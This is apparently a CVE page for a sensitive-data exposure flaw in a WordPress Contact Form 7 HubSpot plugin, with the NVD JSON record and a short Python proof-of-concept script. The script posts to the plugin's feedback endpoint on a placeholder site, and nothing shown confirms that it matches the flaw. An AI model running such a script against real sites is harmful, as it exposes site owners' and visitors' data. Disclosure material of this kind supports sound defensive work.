CVE-2026-24559

import requests target = 'http://target-wordpress-site.com' form_id = '1' payload = { 'form_id': form_id, 'cf7_hubspot_sync': '1' } response = requests.post(f'{target}/wp-json/contact-form-7/v1/contact-forms/{form_id}/feedback', data=payload) print(response.json())

{"cve": {"id": "CVE-2026-24559", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:13.187", "lastModified": "2026-04-28T15:16:14.077", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insertion of Sensitive Information Into Sent Data vulnerability in CRM Perks Integration for Contact Form 7 HubSpot cf7-hubspot allows Retrieve Embedded Sensitive Data.This issue affects Integration for Contact Form 7 HubSpot: from n/a through <= 1.4.3."}, {"lang": "es", "value": "Inserción de Información Sensible en Datos Enviados en la integración CRM Perks para Contact Form 7 HubSpot cf7-hubspot permite Recuperar Datos Sensibles Incrustados. Este problema afecta a Integración para Contact Form 7 HubSpot: desde n/a hasta &lt;= 1.4.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/cf7-hubspot/vulnerability/wordpress-integration-for-contact-form-7-hubspot-plugin-1-4-3-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}